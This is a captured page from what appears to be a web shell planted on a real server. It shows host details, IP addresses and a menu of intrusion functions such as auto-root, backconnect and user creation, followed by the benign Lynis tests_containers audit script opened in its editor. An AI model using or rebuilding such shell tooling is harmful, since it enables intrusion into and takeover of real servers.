Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
lynis /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
binaries
38.36
KB
-rw-r--r--
consts
10.77
KB
-rw-r--r--
data_upload
13.63
KB
-rw-r--r--
functions
157.68
KB
-rw-r--r--
helper_audit_dockerfile
7.82
KB
-rw-r--r--
helper_configure
3.67
KB
-rw-r--r--
helper_generate
7.39
KB
-rw-r--r--
helper_show
22.29
KB
-rw-r--r--
helper_system_remote_scan
3.54
KB
-rw-r--r--
helper_update
3.59
KB
-rw-r--r--
osdetection
37.98
KB
-rw-r--r--
parameters
16.48
KB
-rw-r--r--
profiles
26.89
KB
-rw-r--r--
report
16.45
KB
-rw-r--r--
tests_accounting
25.48
KB
-rw-r--r--
tests_authentication
84.03
KB
-rw-r--r--
tests_banners
8.35
KB
-rw-r--r--
tests_boot_services
54.51
KB
-rw-r--r--
tests_containers
11.29
KB
-rw-r--r--
tests_crypto
17.67
KB
-rw-r--r--
tests_custom.template
6.78
KB
-rw-r--r--
tests_databases
23.72
KB
-rw-r--r--
tests_dns
3.39
KB
-rw-r--r--
tests_file_integrity
21.41
KB
-rw-r--r--
tests_file_permissions
3.25
KB
-rw-r--r--
tests_filesystems
46.33
KB
-rw-r--r--
tests_firewalls
29.96
KB
-rw-r--r--
tests_hardening
7.01
KB
-rw-r--r--
tests_homedirs
9.17
KB
-rw-r--r--
tests_insecure_services
26.73
KB
-rw-r--r--
tests_kernel
60.76
KB
-rw-r--r--
tests_kernel_hardening
5.62
KB
-rw-r--r--
tests_ldap
3.96
KB
-rw-r--r--
tests_logging
31.25
KB
-rw-r--r--
tests_mac_frameworks
14.53
KB
-rw-r--r--
tests_mail_messaging
21.45
KB
-rw-r--r--
tests_malware
18.44
KB
-rw-r--r--
tests_memory_processes
7.17
KB
-rw-r--r--
tests_nameservices
34.51
KB
-rw-r--r--
tests_networking
40.67
KB
-rw-r--r--
tests_php
27.48
KB
-rw-r--r--
tests_ports_packages
78.76
KB
-rw-r--r--
tests_printers_spoolers
13.85
KB
-rw-r--r--
tests_scheduling
15.74
KB
-rw-r--r--
tests_shells
13.37
KB
-rw-r--r--
tests_snmp
4.32
KB
-rw-r--r--
tests_squid
16.9
KB
-rw-r--r--
tests_ssh
17.59
KB
-rw-r--r--
tests_storage
3.74
KB
-rw-r--r--
tests_storage_nfs
8.4
KB
-rw-r--r--
tests_system_integrity
2.13
KB
-rw-r--r--
tests_time
32.61
KB
-rw-r--r--
tests_tooling
20.87
KB
-rw-r--r--
tests_usb
21.04
KB
-rw-r--r--
tests_virtualization
1.95
KB
-rw-r--r--
tests_webservers
30.9
KB
-rw-r--r--
tool_tips
2.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tests_containers
#!/bin/sh ################################################################################# # # Lynis # ------------------ # # Copyright 2007-2013, Michael Boelen # Copyright 2007-2021, CISOfy # # Website : https://cisofy.com # Blog : http://linux-audit.com # GitHub : https://github.com/CISOfy/lynis # # Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are # welcome to redistribute it under the terms of the GNU General Public License. # See LICENSE file for usage of this software. # ################################################################################# # # Containers, Zones, Jails # ################################################################################# # InsertSection "${SECTION_CONTAINERS}" # ################################################################################# # DOCKER_CONTAINERS_RUNNING=0 DOCKER_CONTAINERS_TOTAL=0 DOCKER_FILE_PERMISSIONS_WARNINGS=0 RUN_DOCKER_TESTS=0 # ################################################################################# # # Test : CONT-8004 # Description : Query running Solaris zones if [ -x ${ROOTDIR}usr/sbin/zoneadm ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no CONT-8004 --os Solaris --weight L --network NO --category security --description "Query running Solaris zones" if [ ${SKIPTEST} -eq 0 ]; then LogText "Test: query zoneadm to list all running zones" FIND=$(${ROOTDIR}usr/sbin/zoneadm list -p | ${AWKBINARY} -F: '{ if ($2!="global") print $0 }') if [ -n "${FIND}" ]; then COUNT=0 for ITEM in ${FIND}; do COUNT=$((COUNT + 1)) ZONEID=$(echo ${ITEM} | ${CUTBINARY} -d ':' -f1) ZONENAME=$(echo ${ITEM} | ${CUTBINARY} -d ':' -f2) LogText "Result: found zone ${ZONENAME} (running)" Report "solaris_running_zone[]=${ZONENAME} [id:${ZONEID}]" done LogText "Result: total of ${COUNT} running zones" Display --indent 2 --text "- Checking Solaris Zones" --result "FOUND ${COUNT} zones" --color GREEN else LogText "Result: no running zones found" Display --indent 2 --text "- Checking Solaris Zones" --result "${STATUS_NONE}" --color WHITE fi fi # ################################################################################# # # Do you have Xen running? Help us testing this test and submit a pull request on GitHub # Test : CONT-1906 TODO # Description : Query running Xen zones #if [ -x /usr/bin/xm ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi #Register --test-no CONT-1906 --weight L --network NO --category security --description "Query Xen guests" #if [ ${SKIPTEST} -eq 0 ]; then # Show Xen guests #FIND=$(xm list | ${AWKBINARY} '$1 != "Name|Domain-0" {print $1","$2}') #for I in ${FIND}; do #XENGUESTNAME=$(echo ${I} | ${CUTBINARY} -d ':' -f1) #XENGUESTID=$(echo ${I} | ${CUTBINARY} -d ':' -f2) #LogText "Result: found Xen guest ${XENGUESTNAME} (ID: ${XENGUESTID})" #done #fi # ################################################################################# # # Test : CONT-8102 # Description : Checking Docker daemon status and basic information for later tests Register --test-no CONT-8102 --weight L --network NO --category security --description "Checking Docker status and information" if [ ${SKIPTEST} -eq 0 ]; then if IsRunning "dockerd"; then LogText "Result: found Docker daemon running" Report "docker_daemon_running=1" DOCKER_DAEMON_RUNNING=1 RUN_DOCKER_TESTS=1 Display --indent 4 --text "- Docker" Display --indent 6 --text "- Docker daemon" --result "${STATUS_RUNNING}" --color GREEN fi fi # ################################################################################# # # Test : CONT-8104 # Description : Checking Docker info for any warnings # Notes : Hardening points are awarded, as usually warnings are the result of missing controls to restrict boundaries like memory if HasData "${DOCKERBINARY}"; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no CONT-8104 --preqs-met ${PREQS_MET} --weight L --network NO --category security --description "Checking Docker info for any warnings" if [ ${SKIPTEST} -eq 0 ]; then COUNT=0 LogText "Test: Check for any warnings" FIND=$(${DOCKERBINARY} version 2>&1) if [ $? -gt 0 ]; then Display --indent 8 --text "- Docker status" --result "${STATUS_ERROR}" --color RED LogText "Result: disabling further Docker tests as docker version gave exit code other than zero (0)" RUN_DOCKER_TESTS=0 fi FIND=$(${DOCKERBINARY} info 2>&1 | ${GREPBINARY} "^WARNING:" | ${CUTBINARY} -d " " -f 2- | ${SEDBINARY} 's/ /:space:/g') if [ ! "${FIND}" = "" ]; then LogText "Result: found warning(s) in output" for I in ${FIND}; do J=$(echo ${I} | ${SEDBINARY} 's/:space:/ /g') LogText "Output: ${J}" COUNT=$((COUNT + 1)) done Display --indent 8 --text "- Docker info output (warnings)" --result "${COUNT}" --color YELLOW ReportSuggestion "${TEST_NO}" "Run 'docker info' to see warnings applicable to Docker daemon" AddHP 3 4 else LogText "Result: no warnings found from 'docker info' output" Display --indent 8 --text "- Docker info output (warnings)" --result "${STATUS_NONE}" --color GREEN AddHP 1 1 fi fi # ################################################################################# # # Test : CONT-8106 # Description : Checking Docker containers (basic stats) # Notes : Hardening points are awarded, if there aren't a lot of stopped containers if [ -n "${DOCKERBINARY}" -a ${RUN_DOCKER_TESTS} -eq 1 ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no CONT-8106 --preqs-met ${PREQS_MET} --weight L --network NO --category security --description "Gather basic stats from Docker" if [ ${SKIPTEST} -eq 0 ]; then Display --indent 6 --text "- Containers" # Check total of containers LogText "Test: checking total amount of Docker containers" DOCKER_CONTAINERS_TOTAL=$(${DOCKERBINARY} info 2> /dev/null | ${EGREPBINARY} "^[ \t]?Containers: " | ${AWKBINARY} '{ print $2 }') if [ -z "${DOCKER_CONTAINERS_TOTAL}" ]; then DOCKER_CONTAINERS_TOTAL=0 fi LogText "Result: docker info shows ${DOCKER_CONTAINERS_TOTAL} containers" DOCKER_CONTAINERS_TOTAL2=$(${DOCKERBINARY} ps -a 2> /dev/null | ${GREPBINARY} -c -v "CONTAINER") LogText "Result: docker ps -a shows ${DOCKER_CONTAINERS_TOTAL2} containers" if [ ! "${DOCKER_CONTAINERS_TOTAL}" = "${DOCKER_CONTAINERS_TOTAL2}" ]; then LogText "Result: difference detected, which is unexpected" ReportSuggestion "${TEST_NO}" "Test output of both 'docker ps -a' and 'docker info', to determine why they report a different amount of containers" Display --indent 8 --text "- Total containers" --result "${STATUS_UNKNOWN}" --color RED else Display --indent 8 --text "- Total containers" --result "${DOCKER_CONTAINERS_TOTAL}" --color WHITE fi # Check running instances DOCKER_CONTAINERS_RUNNING=$(${DOCKERBINARY} ps 2> /dev/null | ${GREPBINARY} -c -v "CONTAINER") if [ ${DOCKER_CONTAINERS_RUNNING} -gt 0 ]; then Display --indent 10 --text "- Running containers" --result "${DOCKER_CONTAINERS_RUNNING}" --color GREEN LogText "Result: ${DOCKER_CONTAINERS_RUNNING} containers are currently active" Report "docker_containers_running=${DOCKER_CONTAINERS_RUNNING}" else LogText "Result: no active containers" Report "docker_containers_running=0" fi fi # ################################################################################# # # Test : CONT-8107 # Description : Checking Docker number of unused containers # Notes : Hardening points are awarded, if there aren't a lot of stopped containers if [ -n "${DOCKERBINARY}" -a ${RUN_DOCKER_TESTS} -eq 1 ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no CONT-8107 --preqs-met ${PREQS_MET} --weight L --network NO --category performance --description "Check number of Docker containers" if [ ${SKIPTEST} -eq 0 ]; then # Check if there aren't too many unused containers on the system if [ ${DOCKER_CONTAINERS_TOTAL} -gt 0 ]; then DOCKER_CONTAINERS_UNUSED=$((DOCKER_CONTAINERS_TOTAL - DOCKER_CONTAINERS_RUNNING)) if [ ${DOCKER_CONTAINERS_UNUSED} -gt 10 ]; then ReportSuggestion "${TEST_NO}" "More than 10 unused containers found on the system. Clean up old containers by using output of 'docker ps -a' command" Display --indent 8 --text "- Unused containers" --result "${DOCKER_CONTAINERS_UNUSED}" --color RED AddHP 0 2 else LogText "Result: found ${DOCKER_CONTAINERS_UNUSED} unused containers" Display --indent 8 --text "- Unused containers" --result "${DOCKER_CONTAINERS_UNUSED}" --color YELLOW AddHP 1 1 fi fi fi # ################################################################################# # # Test : CONT-8108 # Description : Checking Docker file permissions # Notes : /var/run/docker.sock - Usually root as owner, docker as group - should not be world writable if [ -n "${DOCKERBINARY}" -a ${RUN_DOCKER_TESTS} -eq 1 ]; then PREQS_MET="YES"; else PREQS_MET="NO"; fi Register --test-no CONT-8108 --preqs-met ${PREQS_MET} --weight L --network NO --category security --description "Check file permissions for Docker files" if [ ${SKIPTEST} -eq 0 ]; then NOT_WORLD_WRITABLE="${ROOTDIR}var/run/docker.sock" for FILE in ${NOT_WORLD_WRITABLE}; do LogText "Test: Check ${FILE}" if [ -f ${FILE} ]; then LogText "Result: file ${FILE} found, permissions will be tested" if IsWorldWritable ${FILE}; then LogText "Result: file is writable by others, which is a security risk (e.g. privilege escalation)" ReportWarning "${TEST_NO}" "Docker file is world writable" "${FILE}" "-" DOCKER_FILE_PERMISSIONS_WARNINGS=$((DOCKER_FILE_PERMISSIONS_WARNINGS + 1)) else LogText "Result: file ${FILE} is not writable by others, which is fine" fi fi done if [ ${DOCKER_FILE_PERMISSIONS_WARNINGS} -gt 0 ]; then Display --indent 4 --text "- File permissions" --result "${STATUS_WARNING}"S --color YELLOW AddHP 0 5 else Display --indent 4 --text "- File permissions" --result "${STATUS_OK}" --color GREEN AddHP 5 5 fi fi # ################################################################################# # WaitForKeyPress # #================================================================================ # Lynis - Copyright 2007-2021, CISOfy - https://cisofy.com
Close